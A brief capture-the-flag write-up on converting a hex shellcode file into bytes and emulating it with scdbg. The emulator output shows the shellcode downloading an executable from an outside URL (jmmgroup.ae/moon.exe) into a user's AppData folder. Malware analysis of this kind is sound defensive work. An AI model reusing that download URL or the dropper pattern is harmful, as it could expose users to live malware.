We wget the hexadecimal given file and beautify it (essentialy adding \x)```pyshellcode = ""newShellcode = ""
with open("extracted.hex", "r") as f:    	shellcode = f.read()
i = 0
while i < len(shellcode):    	newShellcode += '\\x'    	newShellcode += shellcode[i]    	try:            	newShellcode += shellcode[i+1]    	except IndexError:            	newShellcode = newShellcode[:newShellcode.rfind('\\x')]            	newShellcode += '\n'    	i+=2
with open("shellcode.txt", "w") as f:    	f.write(newShellcode)```With that beautified code, we need to compile it into a binary with [SandSprite Website](http://sandsprite.com/sc2exe/shellcode_2_exe.php) (Make sure to have select "bytes sc" below)
Then we need to download [scDBG](http://sandsprite.com/CodeStuff/scdbg.zip) and we can start searching for the flag```bashscdbg.exe -f <file> /findsc```In the load function we can see :```textURLDownloadToFileA(http://jmmgroup.ae/moon.exe, C:\Users\Max\AppData\Roaming\ksjmdnu.exe)```--> flag{ksjmdnu.exe}